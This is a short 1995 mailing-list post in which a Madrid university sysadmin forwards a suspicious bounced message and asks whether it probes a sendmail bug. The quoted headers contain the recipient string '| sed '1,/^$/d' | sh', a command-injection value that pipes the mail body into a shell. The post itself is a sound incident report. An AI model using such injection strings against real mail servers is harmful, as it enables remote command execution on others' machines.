Suspicious Mail

[ccdavid () sobrino eui upm es (David Guerrero)]

Hello !!

A couple of days back, we at teh EUI in Madrid receive this thing....

I'm not sure what is it.... could it be a probing for the recent bug of
identd in sendmail, or something like this...

My system is a SunOS 4.1.1. 

All ideas will be wellcome, 

Forwarded message:
> From MAILER-DAEMON Mon Mar  6 19:14:06 1995
> Date: Mon, 6 Mar 95 19:14:01 +0100
> From: MAILER-DAEMON (Mail Delivery Subsystem)
> Subject: Returned mail: Host unknown
> Message-Id: <9503061814.AA07105 () sobrino eui upm es>
> To: Postmaster
>
>    ----- Transcript of session follows -----
> 550 | sed '1,/^$/d' | sh... Host unknown
>
>   ----- Message header follows -----
> Return-Path: <daemon () sobrino eui upm es>
> Received: from i60s14.ira.uka.de by sobrino.eui.upm.es (4.1/3.1) Mon, 6 Mar 95 19:14:01 +0100
> Date: Mon, 6 Mar 95 19:14:01 +0100
> From: daemon
> Message-Id: <9503061814.AB07103 () sobrino eui upm es>
> Apparently-To: | sed '1,/^$/d' | sh


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